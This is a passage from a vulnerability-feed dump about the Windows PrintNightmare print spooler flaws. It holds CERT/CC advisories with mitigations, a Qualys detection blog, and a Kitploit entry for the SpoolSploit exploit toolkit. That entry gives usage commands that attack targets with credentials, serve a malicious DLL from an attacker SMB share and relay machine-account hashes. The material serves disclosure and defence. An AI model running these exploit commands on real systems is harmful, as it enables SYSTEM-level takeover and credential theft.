vendor.\n\n#### References\n\n * <https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>\n\n \n\n\n### References\n\n * <https://msrc-blog.microsoft.com/2021/07/08/clarified-guidance-for-cve-2021-34527-windows-print-spooler-vulnerability/>\n * <https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>\n * <https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>\n * <https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b>\n * <https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/353ff796-6fb3-41cf-8b35-0022dd53d886>\n * <https://docs.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-point-and-print>\n * <https://docs.microsoft.com/en-us/windows/win32/printdocs/addprinterdriverex>\n * <https://support.microsoft.com/en-us/topic/kb5005010-restricting-installation-of-new-printer-drivers-after-applying-the-july-6-2021-updates-31b91c02-05bc-4ada-a7ea-183b129578a7>\n * <https://github.com/afwu/PrintNightmare>\n * <https://github.com/cube0x0/CVE-2021-1675>\n * <https://github.com/calebstewart/CVE-2021-1675>\n\n### Other Information\n\n**CVE IDs:** | [CVE-2021-1675 ](<http://web.nvd.nist.gov/vuln/detail/CVE-2021-1675>) [CVE-2021-34527 ](<http://web.nvd.nist.gov/vuln/detail/CVE-2021-34527>) \n---|--- \n**Date Public:** | 2021-06-30 \n**Date First Published:** | 2021-06-30 \n**Date Last Updated: ** | 2021-08-03 15:36 UTC \n**Document Revision: ** | 32 \n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-06-30T00:00:00", "type": "cert", "title": "Microsoft Windows Print Spooler allows for RCE via AddPrinterDriverEx()", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-08-03T15:36:00", "id": "VU:383432", "href": "https://www.kb.cert.org/vuls/id/383432", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-09-28T17:49:46", "description": "### Overview\n\nMicrosoft Windows allows for non-admin users to be able to install printer drivers via Point and Print. Printers installed via this technique also install queue-specific files, which can be arbitrary libraries to be loaded by the privileged Windows Print Spooler process.\n\n### Description\n\nMicrosoft Windows allows for users who lack administrative privileges to still be able to install printer drivers, which execute with `SYSTEM` privileges via the Print Spooler service. This ability is achieved through a capability called [Point and Print](<https://docs.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-point-and-print>). Starting with the update for [MS16-087](<https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-087>), Microsoft requires that printers installable via Point are either signed by a [WHQL release signature](<https://docs.microsoft.com/en-us/windows-hardware/drivers/install/whql-release-signature>), or are signed by a certificate that is explicitly trusted by the target system, such as an installed test signing certificate. The intention for this change is to avoid installation of malicious printer drivers, which can allow for Local Privilege Escalation (LPE) to `SYSTEM`.\n\nWhile Windows enforces that driver packages themselves are signed by a trusted source, Windows printer drivers can specify [queue-specific files](<https://docs.microsoft.com/en-us/windows-hardware/drivers/print/installing-queue-specific-files>) that are associated with the use of the device. For example, a shared printer can specify a `CopyFiles` directive for arbitrary files. These files, which may be copied over alongside the digital-signature-enforced printer driver files are **not** covered by any signature requirement. Furthermore, these files can be used to overwrite any of the signature-verified files that were placed on a system during printer driver install. The remote printer can also be configured to automatically execute code in any files dropped by the `CopyFiles` directive. This can allow for LPE to `SYSTEM` on a vulnerable system.\n\nAn exploit for this vulnerability is [publicly available](<https://twitter.com/gentilkiwi/status/1416429860566847490>).\n\n### Impact\n\nBy connecting to a malicious printer, an attacker may be able to execute arbitrary code with `SYSTEM` privileges on a vulnerable system.\n\n### Solution\n\nMicrosoft has published updates for [CVE-2021-36958](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36958>) regarding this issue. Please also consider the following workarounds:\n\n#### Block outbound SMB traffic at your network boundary\n\nPublic exploits for this vulnerability utilize SMB for connectivity to a malicious shared printer. If outbound connections to SMB resources are blocked, then this vulnerability may be mitigated for malicious SMB printers that are hosted outside of your network. Note that an attacker local to your network would be able to share a printer via SMB, which would be unaffected by any outbound SMB traffic rules.\n\n#### Configure both PackagePointAndPrintServerList and PackagePointAndPrintOnly settings\n\nMicrosoft Windows has a Group Policy called \"Package Point and Print - Approved servers\", which is reflected in the `HKLM\\Software\\Policies\\Microsoft\\Windows NT\\Printers\\PackagePointAndPrint\\PackagePointAndPrintServerList` and `HKLM\\Software\\Policies\\Microsoft\\Windows NT\\Printers\\PackagePointAndPrint\\ListofServers` registry values. This policy can restrict which servers can be used by non-administrative users to install printers via Point and Print. Configure this policy to prevent installation of printers from arbitrary servers.\n\nTo ensure that Microsoft Windows only attempts to install Package Point and Print printers, and therefore restricting printer connections to the approved servers list, you must also set the `HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Printers\\PackagePointAndPrint\\PackagePointAndPrintOnly` registry value to `1`. The Group Policy setting that corresponds to this value is called \"Use only Package Point and print\". Setting this value to \"Enabled\" will enforce that only Package Point and Print printers will be used.\n\n**Both** of these settings must be configured to protect against exploitation of this vulnerability.\n\n#### Block the ability to modify the print spooler drivers directory\n\nCourtesy of the [TRUESEC Blog](<https://blog.truesec.com/2021/06/30/fix-for-printnightmare-cve-2021-1675-exploit-to-keep-your-print-servers-running-while-a-patch-is-not-available/>), this vulnerability can be mitigated by preventing the `SYSTEM` account from being able to modify the `C:\\Windows\\System32\\spool\\drivers` directory contents.\n\nTo enable this mitigation, from a privileged PowerShell session, run:\n \n \n $Path = \"C:\\Windows\\System32\\spool\\drivers\"\n $Acl = (Get-Item $Path).GetAccessControl('Access')\n $Ar = New-Object System.Security.AccessControl.FileSystemAccessRule(\"System\", \"Modify\", \"ContainerInherit, ObjectInherit\", \"None\", \"Deny\")\n $Acl.AddAccessRule($Ar)\n Set-Acl $Path $Acl\n \n\nTo revert the mitigation to allow printer driver installation or modification, run:\n \n \n $Path = \"C:\\Windows\\System32\\spool\\drivers\"\n $Acl = (Get-Item $Path).GetAccessControl('Access')\n $Ar = New-Object System.Security.AccessControl.FileSystemAccessRule(\"System\", \"Modify\", \"ContainerInherit, ObjectInherit\", \"None\", \"Deny\")\n $Acl.RemoveAccessRule($Ar)\n Set-Acl $Path $Acl\n \n\n#### Stop and disable the Print Spooler\n\nThe Print Spooler can be disabled in a privileged PowerShell session by running the following commands:\n \n \n Stop-Service -Name Spooler -Force\n Set-Service -Name Spooler -StartupType Disabled\n \n\n**Impact of workaround** Disabling the Print Spooler service disables the ability to print both locally and remotely.\n\n### Acknowledgements\n\nThis vulnerability was publicly disclosed by Benjamin Delpy. Microsoft credits Victor Mata with reporting this issue to them.\n\nThis document was written by Will Dormann.\n\n### Vendor Information\n\n131152\n\nFilter by status: All Affected Not Affected Unknown\n\nFilter by content: __ Additional information available\n\n__ Sort by: Status Alphabetical\n\nExpand all\n\n### Microsoft Affected\n\nNotified: 2021-07-18 Updated: 2021-07-18 **CVE-2021-36958**| Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n \n\n\n### References\n\n * <https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36958>\n * <https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-087>\n * <https://docs.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-point-and-print>\n * <https://docs.microsoft.com/en-us/windows-hardware/drivers/install/whql-release-signature>\n * <https://docs.microsoft.com/en-us/windows-hardware/drivers/print/installing-queue-specific-files>\n * <https://twitter.com/gentilkiwi/status/1416429860566847490>\n * <https://blog.truesec.com/2021/06/30/fix-for-printnightmare-cve-2021-1675-exploit-to-keep-your-print-servers-running-while-a-patch-is-not-available/>\n\n### Other Information\n\n**CVE IDs:** | [CVE-2021-36958 ](<http://web.nvd.nist.gov/vuln/detail/CVE-2021-36958>) \n---|--- \n**Date Public:** | 2021-07-18 \n**Date First Published:** | 2021-07-18 \n**Date Last Updated: ** | 2021-09-14 22:44 UTC \n**Document Revision: ** | 17 \n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-18T00:00:00", "type": "cert", "title": "Microsoft Windows Print Spooler Point and Print allows installation of arbitrary queue-specific files", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-36958"], "modified": "2021-09-14T22:44:00", "id": "VU:131152", "href": "https://www.kb.cert.org/vuls/id/131152", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "kitploit": [{"lastseen": "2022-04-07T12:01:37", "description": "[](<https://1.bp.blogspot.com/-RH9Wnu2YiuQ/YVi9OZW06YI/AAAAAAAAvWg/V0vRolVeGJAW1XjzaLGce7zf532DLrrQACNcBGAsYHQ/s1325/SpoolSploit_1_SpoolSploit-Usage.png>)\n\n \n\n\nA collection of Windows print spooler exploits containerized with other utilities for practical exploitation.\n\n \n\n\n**Summary** \n\n\nSpoolSploit is a collection of Windows print spooler exploits containerized with other utilities for practical exploitation. A couple of highly effective methods would be relaying machine account [credentials](<https://www.kitploit.com/search/label/Credentials> \"credentials\" ) to escalate privileges and execute malicious DLLs on [endpoints](<https://www.kitploit.com/search/label/Endpoints> \"endpoints\" ) with full system access.\n\n[](<https://1.bp.blogspot.com/-RH9Wnu2YiuQ/YVi9OZW06YI/AAAAAAAAvWg/V0vRolVeGJAW1XjzaLGce7zf532DLrrQACNcBGAsYHQ/s1325/SpoolSploit_1_SpoolSploit-Usage.png>)\n\n \n**Getting Started** \n\n\nAs of the release date the SpoolSploit Docker [container](<https://www.kitploit.com/search/label/Container> \"container\" ) has been tested successfully on the latest versions of `MacOS`, `Ubuntu Linux`, and `Windows 10`.\n\nAlthough not required, if you would like to host malicious DLLs or conduct credential relay attacks, all within the SpoolSploit container, you should ensure port 445 is not in use on the host running Docker. This is most prevalent when running this container on a Windows host, as it uses port 445 by default. If disabling port 445 on your host is not practical, that is okay! You can simply run the docker container in a [virtual machine](<https://www.kitploit.com/search/label/Virtual%20Machine> \"virtual machine\" ) that has the network adapter configured in bridge mode. This will allow for serving malicious DLLs and relay credentials. If you only want to serve malicious DLLs, you could simply host the DLLs on an anonymous access share on your host OS or a compromised server share.\n\n \n**Create and access the SpoolSploit Docker container** \n\n\n 1. Clone this repository\n \n \n git clone https://github.com/BeetleChunks/SpoolSploit \n \n\n 2. Build the SpoolSploit Docker container image\n \n \n cd SpoolSploit \n sudo docker build -t spoolsploit . \n \n\n 3. Create and start the SpoolSploit Docker container\n \n \n sudo docker run -dit -p 445:445 --name spoolsploit spoolsploit:latest \n \n\n 4. Attach to the container\n \n \n sudo docker exec -it spoolsploit /bin/bash \n \n\n \n**Command-line Usage** \n\n \n \n usage: spool_sploit.py [-h] -a {spoolsample,nightmare} -rH RHOST -rP {139,445} [-lH LHOST] [-lS LSHARE] -d DOMAIN -u USER -p PASSWD \n \n optional arguments: \n -h, --help show this help message and exit \n -a {spoolsample,nightmare}, --attack {spoolsample,nightmare} \n Attack type to execute on target(s). \n -rH RHOST, --rhost RHOST \n Remote target IP, CIDR range, or filename (file:<path>) \n -rP {139,445}, --rport {139,445} \n Remote SMB server port. \n -lH LHOST, --lhost LHOST \n Listening hostname or IP \n -lS LSHARE, --lshare LSHARE \n Staging SMB share (UNC) \n -d DOMAIN, --domain DOMAIN \n Domain for authentication \n -u USER, --username USER \n Username for authentication \n -p PASSWD, --password PASSWD \n Password for authentication \n \n Example - spoolsample: \n python3 spool_sploit.py -a spoolsample -lH 10.14.1.24 -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10 \n \n Example - nightmare: \n python3 spool_sploit.py -a nightmare -lS '\\\\10.14.1.24\\C$\\CreateAdmin.dll' -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10 \n \n\n \n**SpoolSample - Capture and relay Windows machine account credentials** \n\n\nThe SpoolSploit Docker container includes [Responder](<https://github.com/lgandx/Responder> \"Responder\" ) for relaying machine account hashes obtained from executing the `spoolsample` attack in SpoolSploit. As several great articles exist detailing the process of relaying privileged machine account credentials for privilege escalation, I will not go into those details here.\n\n \n\n\n[](<https://1.bp.blogspot.com/-9iR_vZDcp-8/YVi9c9w_qrI/AAAAAAAAvWk/conVpwxj6zgRd1O4kRGrz-e5xu3jTjLLgCNcBGAsYHQ/s1483/SpoolSploit_2_SpoolSample.gif>)\n\n \n\n\n**PrintNightmare (CVE-2021-1675) - Execute malicious DLLs on Windows targets as SYSTEM** \n\n\nIncluded in the SpoolSploit container is an SMB server implemented via [Impacket](<https://github.com/SecureAuthCorp/impacket> \"Impacket\" ). This server can be used to host malicious DLLs when executing the `printnightmare` attack in SpoolSploit. The default SMB server settings work, but if you want to customize them you can modify the configuration file located at `/home/dlogmas/smbserver/smb-v1.conf`.\n\nThe only thing you need to do is copy your DLL to the SMB server's share folder in the SpoolSploit container. The share path in the container is `/home/dlogmas/smbserver/share/`. The following commands demonstrate how to upload a DLL to the SpoolSploit container and make it accessible to the SMB server.\n \n \n sudo docker cp ./malicious.dll spoolsploit:/home/dlogmas/smbserver/share/ \n sudo docker exec spoolsploit /bin/sh -c 'sudo chown dlogmas:dlogmas /home/dlogmas/smbserver/share/malicious.dll' \n \n\n \n\n\n[](<https://1.bp.blogspot.com/-IqUvx7SXavM/YVi9igITTRI/AAAAAAAAvWs/9nikcO6EzWcW7r2BBW6nLGx3obnPjHIDgCNcBGAsYHQ/s1483/SpoolSploit_3_PrintNightmare.gif>)\n\n \n\n\n**Disclaimer** \n\n\nThis proof-of-concept code has been created for academic research and is not intended to be used against systems except where explicitly authorized. The code is provided as is with no guarantees or promises on its execution. I am not responsible or liable for misuse of this code.\n\n \n**Credits** \n \n**SpoolSample - [Microsoft](<https://www.kitploit.com/search/label/Microsoft> \"Microsoft\" ) Feature** \n\n\n * [leechristensen](<https://github.com/leechristensen/SpoolSample> \"leechristensen\" ) discovered the SpoolSample exploit and created a C# POC [SpoolSample](<https://github.com/leechristensen/SpoolSample/tree/master/SpoolSample> \"SpoolSample\" )\n * [3xocyte](<https://gist.github.com/3xocyte> \"3xocyte\" ) created a Python2 SpoolSample POC [dementor](<https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc#file-dementor-py> \"dementor\" ).\n \n**PrintNightmare - CVE-2021-1675 / CVE-2021-34527** \n\n\n * [cube0x0](<https://github.com/cube0x0> \"cube0x0\" ) created Python PrintNightmare exploit after implementing the MS-PAR &amp; MS-RPRN protocols and API calls in [Impacket](<https://github.com/SecureAuthCorp/impacket> \"Impacket\" ).\n * [Zhiniang Peng](<https://twitter.com/edwardzpeng> \"Zhiniang Peng\" ) &amp; [Xuefeng Li](<https://twitter.com/lxf02942370> \"Xuefeng Li\" ) discovered this exploit.\n \n \n\n\n**[Download SpoolSploit](<https://github.com/BeetleChunks/SpoolSploit> \"Download SpoolSploit\" )**\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-07T11:30:00", "type": "kitploit", "title": "SpoolSploit - A Collection Of Windows Print Spooler Exploits Containerized With Other Utilities For Practical Exploitation", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-10-07T11:30:00", "id": "KITPLOIT:232707789076746523", "href": "http://www.kitploit.com/2021/10/spoolsploit-collection-of-windows-print.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "qualysblog": [{"lastseen": "2021-07-28T14:34:25", "description": "**Update July 9, 2021**: Added &quot;Registry Settings Check After Installing the Updates&quot; section below.\n\n**Original Post**: On June 29, 2021, a zero-day exploit was observed on Microsoft Windows systems which allows authenticated users with a regular Domain User account to gain full SYSTEM-level privileges. On July 1, 2021, Microsoft released a separate [advisory](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) linking this zero-day to CVE-2021-34527 as a confirmed Remote Code Execution (RCE) vulnerability. According to the new advisory, the PoC is publicly disclosed and actively exploited in the wild.\n\nOn July 6, 2021, [Microsoft released patches](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) to address the PrintNightmare zero-day vulnerabilities.\n\nOn July 7, 2021, after Microsoft patches were released, some security researchers found that these were incomplete patches and threat actors could still leverage local privilege escalation vulnerability to gain access to the system.\n\nPer [BleepingComputer news](<https://www.bleepingcomputer.com/news/microsoft/microsofts-incomplete-printnightmare-patch-fails-to-fix-vulnerability/>), \u201cAfter update was released, security researchers [Matthew Hickey](<https://twitter.com/hackerfantastic/status/1410100394492112898>), co-founder of Hacker House, and [Will Dormann](<https://twitter.com/wdormann>), a vulnerability analyst for CERT/CC, determined that Microsoft only fixed the remote code execution component of the vulnerability. However, malware and threat actors could still use the local privilege escalation component to gain SYSTEM privileges on vulnerable systems for older Windows versions, and for newer versions if the Point and Print policy was enabled.\u201d\n\n#### About PrintNightmare\n\nPrintNightmare (CVE-2021-34527) is a vulnerability that allows an attacker with a regular user account to take over a server running the Windows Print Spooler service. This service runs on all Windows servers and clients by default, including domain controllers, in an Active Directory environment. Print Spooler, which is enabled by default on Microsoft Windows, is an executable file that manages print jobs sent to the computer printer or print server.\n\nA team of security researchers from Sangfor discovered this zero-day vulnerability. In a tweet they wrote, \n\n> \u201cWe deleted the POC of PrintNightmare. To mitigate this vulnerability, please update Windows to the latest version, or disable the Spooler service. For more RCE and LPE in Spooler, stay tuned and wait our Blackhat talk.\u201d \n\nThe GitHub repository was taken offline after a few hours, but not before it was [cloned](<https://github.com/cube0x0/CVE-2021-1675>) by several other users.\n\n_PrintNightmare_ execution looks for _kernelbase.dll, unidrv.dll_ files along with any other DLLs written into subfolders of &quot;_C:WindowsSystem32spooldrivers&quot;_ in the same timeframe by _spoolsv.exe_. A hard-coded printer driver path is not required as one can use _EnumPrinterDrivers()_ to find the path for _unidrv.dll._\n\n#### Affected Products\n\nAll Windows servers and clients, including domain controllers.\n\n### Identify Assets, Discover, Prioritize and Remediate Using Qualys VMDR\u00ae\n\nUse [Qualys Vulnerability Management, Detection, and Response (VMDR)](<https://www.qualys.com/apps/vulnerability-management-detection-response/>) for:\n\n * Identification of known and unknown hosts running vulnerable Windows servers with Print Spooler service\n * Automatic detection of vulnerabilities and misconfigurations for Windows systems\n * Prioritization of threats based on risk\n * Integrated patch deployment\n\n#### Identification of Windows Assets with Print Spooler Running__\n\nThe first step in managing vulnerabilities and reducing risk is identification of assets. VMDR enables easy identification of windows server hosts with Print Spooler service running\n\n`operatingSystem.category1:`Windows` and services.name:`Spooler``\n\n\n\nOnce the hosts are identified, they can be grouped together with a dynamic tag, e.g. &quot;PrintNightmare\u201d. This helps in automatically grouping existing Windows hosts with the PrintNightmare vulnerability as well as any new host that spins up with this vulnerability. Tagging makes these grouped assets available for querying, reporting and management throughout the [Qualys Cloud Platform](<https://www.qualys.com/cloud-platform/>).\n\n#### Discover PrintNightmare CVE-2021-34527 Vulnerability __\n\nNow that the Windows hosts with PrintNightmare are identified, you want to detect which of these assets have flagged this vulnerability. VMDR automatically detects new vulnerabilities like PrintNightmare based on the always updated Knowledgebase.\n\nYou can see all your impacted hosts for this vulnerability tagged with the \u2018PrintNightmare\u2019 asset tag in the vulnerabilities view by using QQL query:\n\n`vulnerabilities.vulnerability.qid: `91785``\n\nThis will return a list of all impacted hosts.\n\n\n\nQID 91785 is available in signature version VULNSIGS-2.5.226-3 and above and can be detected using authenticated scanning or the [Qualys Cloud Agent](<https://www.qualys.com/cloud-agent/>) manifest version 2.5.226.3-2 and above.\n\nAlong with the QID 91785, Qualys released the following IG QID 45498 to help customers identify if Print Spooler service is running on Windows systems. This QID can be detected using authenticated scanning using VULNSIGS- 2.5.223-3 and above or the Qualys Cloud Agent manifest version 2.5.223.3-2 and above.\n\n`QID 45498: Microsoft Windows Print Spooler Service is Running`\n\n**Update July 8, 2021**: Qualys released QID 91786 to address the Zero Day. In addition, IG QID is released to identify if Point and Print restrictions are enabled. These QIDs can be detected using authenticated scanning using VULNSIGS- 2.5.228-3 and above or the Qualys Cloud Agent manifest version 2.5.228.3-2 and above. \n\n`QID 91786 Microsoft Windows Print Spooler Point and Print Insecure Configuration Detected (PrintNightmare) `\n\n`QID 45499 Point and Print Restrictions NoWarningNoElevationOnInstall Is Enabled`\n\nUsing VMDR, the PrintNightmare vulnerability can be prioritized for the following real-time threat indicators (RTIs):\n\n * Remote Code Execution\n * Privilege Escalation\n * Public Exploit\n * Active Attack\n * Denial of Service\n * High Data Loss\n * High Lateral Movement\n * Predicted High Risk\n * Unauthenticated_Exploitation\n\n\nVMDR also enables you to stay on top of these threats proactively via the \u2018live feed\u2019 provided for threat prioritization. With \u2018live feed\u2019 updated for all emerging high and medium risks, you can clearly see the impacted hosts against threats. \n\n\n\nSimply click on the impacted assets for the PrintNightmare threat feed to see the vulnerability and impacted host details.\n\n#### Dashboard\n\nWith VMDR Dashboard, you can track PrintNightmare, impacted hosts, their status and overall management in real time. With trending enabled for dashboard widgets, you can keep track of PrintNightmare vulnerability trends in your environment with the [PrintSpooler RCE (PrintNightmare) dashboard](<https://qualys-secure.force.com/customer/s/article/000006719>).\n\n\n\n#### Response by Patching and Remediation\n\nVMDR rapidly remediates the Windows hosts by deploying the most relevant and applicable per-technology version patches. You can simply search based on `qid:91785` in the Patch Tab and filter on the \u201cMissing\u201d patches to identify and deploy the applicable, available patches in one go for hosts grouped together by a tag \u2013 PrintNightmare.\n\nFor proactive, continuous patching, you can create a daily job with a 24-hour patch window to ensure all hosts will continue to receive the required patches as new patches become available for emerging vulnerabilities.\n\nUsers are encouraged to apply patches as soon as possible.\n\n\n\n#### Identify and Address System Misconfigurations\n\nTo reduce the overall security risk, it is important to take care of Windows system misconfigurations as well. Qualys VMDR shows your Windows system misconfiguration posture in context with your vulnerability posture, allowing you to see which hosts have the PrintNightmare vulnerability. \n\nWith the [Qualys Policy Compliance](<https://community.qualys.com/policy-compliance/>) module of VMDR, you can automatically discover the status of the \u2018Print Spooler\u2019 service and if they have misconfigurations in context to the PrintNightmare vulnerability.\n\n\n\nQualys configuration ID \u2013 1368 \u201cStatus of the \u2018Print Spooler\u2019 service\u201d \n\u201d would be evaluated against all Windows systems as shown below\n\n\n\n21711 Status of the \u2018Allow Print Spooler to accept client connections\u2019 group policy setting would be evaluated as shown below\n\n\n\n#### Registry Settings Check After Installing the Updates\n\nAs reported in the [Microsoft advisory](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) on July 7, 2021: In addition to installing the updates, in order to secure your system, you must confirm that the following registry settings are set to 0 (zero) or are not defined (Note: These registry keys do not exist by default, and therefore are already at the secure setting.), also that your Group Policy setting are correct.\n\n * HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Printers\\PointAndPrint\n * NoWarningNoElevationOnInstall = 0 (DWORD) or not defined (default setting)\n * UpdatePromptSettings = 0 (DWORD) or not defined (default setting)\n\nQualys Policy Compliance customers can evaluate the settings by the following two controls:\n\n19070 Status of the \u2018Point and Print Restrictions: When installing drivers for a new connection\u2019 setting\n\n\n\n19071 Status of the \u2018Point and Print Restrictions: When updating drivers for an existing connection\u2019 setting\n\n\n\n### Workaround\n\nUsers are urged to disable the \u201cPrint Spooler\u201d service on servers that do not require it. Microsoft has provided a series of [workarounds](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) to be applied.\n\nDetermine if the Print Spooler service is running (run as a Domain Admin)\n\nRun the following as a Domain Admin: \n`Get-Service -Name Spooler`\n\nIf the Print Spooler is running or if the service is not set to disabled, select one of the following options to either disable the Print Spooler service, or to Disable inbound remote printing through Group Policy:\n\n##### **Option 1** \u2013 Disable the Print Spooler service\n\nIf disabling the Print Spooler service is appropriate for your enterprise, use the following PowerShell commands: \n`Stop-Service -Name Spooler -Force \nSet-Service -Name Spooler -StartupType Disabled` \n \n**Impact of workaround**: Disabling the Print Spooler service disables the ability to print both locally and remotely.\n\n##### **Option 2** \u2013 Disable inbound remote printing through Group Policy\n\nYou can also configure the settings via Group Policy as follows: \n_Computer Configuration / Administrative Templates / Printers_ \nDisable the \u201cAllow Print Spooler to accept client connections:\u201d policy to block remote attacks. \n \n**Impact of workaround:** This policy will block the remote attack vector by preventing inbound remote printing operations. The system will no longer function as a print server, but local printing to a directly attached device will still be possible.\n\nPer the above two options, Qualys Policy Compliance customers can do evaluation by the following two controls:\n\n * 1368 Status of the \u2018Print Spooler\u2019 service\u201d\n * 21711 Status of the \u2018Allow Print Spooler to accept client connections\u2019 group policy setting\n\n### Get Started Now\n\nStart your [Qualys VMDR trial](<https://www.qualys.com/subscriptions/vmdr/>) for automatically identifying, detecting and patching critical PrintNightmare vulnerability CVE-2021-34752.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-07T23:30:23", "type": "qualysblog", "title": "Microsoft Windows Print Spooler RCE Vulnerability (PrintNightmare-CVE-2021-34527) \u2013 Automatically Discover, Prioritize and Remediate Using Qualys VMDR\u00ae", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527", "CVE-2021-34752"], "modified": "2021-07-07T23:30:23", "id": "QUALYSBLOG:485C0D608A0A8288FF38D618D185D2A2", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-06-15T08:32:22", "description": "### Microsoft Patch Tuesday \u2013 June 2021\n\nMicrosoft patched 50 CVEs in their June 2021 Patch Tuesday release, and five of them are rated as critical severity. Six have applicable exploits.\n\n#### Critical Microsoft Vulnerabilities Patched\n\n[CVE-2021-31985](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31985>) \u2013 Microsoft Defender Remote Code Execution Vulnerability\n\nMicrosoft released patches addressing a critical RCE vulnerability in its Defender product (CVE-2021-31985). This CVE has a high likelihood of exploitability and is assigned a 